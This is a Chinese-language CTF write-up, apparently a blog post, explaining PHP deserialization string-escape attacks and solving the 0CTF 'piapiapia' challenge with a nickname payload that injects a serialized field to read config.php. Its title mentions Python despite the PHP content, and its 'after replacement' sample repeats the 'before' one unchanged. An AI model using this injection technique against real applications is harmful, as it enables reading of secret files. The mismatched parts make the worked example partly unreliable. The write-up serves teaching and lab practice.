Python字串運算子
要學習反序列化字串逃逸之前,我們需要知道php反序列化的幾大特性。
1.PHP 在反序列化時,底層程式碼是以
;
作為欄位的分隔,以}
作為結尾(字串除外),並且是根據長度判斷內容的 .
2.當長度不對應的時候會出現報錯
3.可以反序列化類中不存在的元素
反序列化字串逃逸
1.過濾後字元變多
2.過濾後字元變少
過濾後字元變多
當我們傳入?name =npfsx 時,由於溢位,反序列化失敗,這個時候我們就可以利用這裡的溢位,構造注入,實現字串逃逸
其實總的來說就是因為執行text函式將一個字元(x),替換成兩個字元 (66), 使字串膨脹,造成了之後的序列化中,多出來的這些字元搶佔了本屬於";i:1;s:6:"hacker";}
所以";i:1;s:6:"hacker";}
這一部分前面的字元";
就是我們用來閉合前面字串的,這樣剩下的i:1;s:6:"hacker"
這一部分符合反序列化規則,最後的;}
是用來閉合反序列化全過程的,這樣原來的";i:1;s:14:"hello everyone";}
就會被捨棄,而不影響反序列化過程
過濾後字元變少
總的來說就是由於縮水,導致前面的字元被吃掉了,所以執行了我們後面構造的程式碼
0CTF piapiapia
使其主要的程式碼就四部分
先拿seay審下(第一次用,發現真是神器啊2333)
可以發現config.php裡有個flag
我們在register.php頁面註冊,在index.php頁面登入之後,來到update.php頁面,我們可以看到這個頁面是一個檔案上傳頁面,結合seay,審計程式碼,發現這裡有一個序列化的過程,同時在序列化之前會對我們輸入的Phone、Email、Nickname、Photo進行正則匹配(phone要類似於11位陣列的構造,email要類似於[email protected]這樣郵箱的構造,這兩種都是不符合則die,而Nickname恰恰相反,它是如果匹配到非字元數字下劃線或者長度超過10則die,這裡可以用陣列繞過)
這裡有個update_profile函式,我們追溯看看
可以發現裡面有個filter函式,繼續追溯
通過審計發現會將字串中的\
和\\\\
替換成下劃線,也會將部分字元替換成hacker,這裡細心點可以發現這些字串裡面只有where是5位的,其他都是6位的
回到update.php頁面,嘗試上傳檔案,來到了profile.php頁面,審計程式碼,發現這裡有個反序列化操作,還有一個檔案讀取操作
其實看到這裡,大概思路應該就有了,flag在config.php中,我們在上傳頁面引數被序列化,再經歷一系列替換之後,再進行反序列化,同時還有檔案讀取
php反序列化字串逃逸的常見套路,我們可以將config.php作為逃逸字串,經過一系列變化後,讀取出來
最終payload
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
上傳後來到profile.php頁面,讀取原始碼,base64解密,即可得到flag
這裡為什麼要構造nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}其實如果看懂我上面寫的過濾後字元變多
這一模組後是很好理解的
filter函式會將where替換成hacker,字元數增加1,字串膨脹
";}s:5:"photo";s:10:"config.php";}
這一部分一共34個字元,這也就以為這當我們構造34個where時,當where被替換成hacker之後,會多出34個字元,使得";}s:5:"photo";s:10:"config.php";} 被向後推,從而替代了photo的序列化結果
替換前
a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
替換後
a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}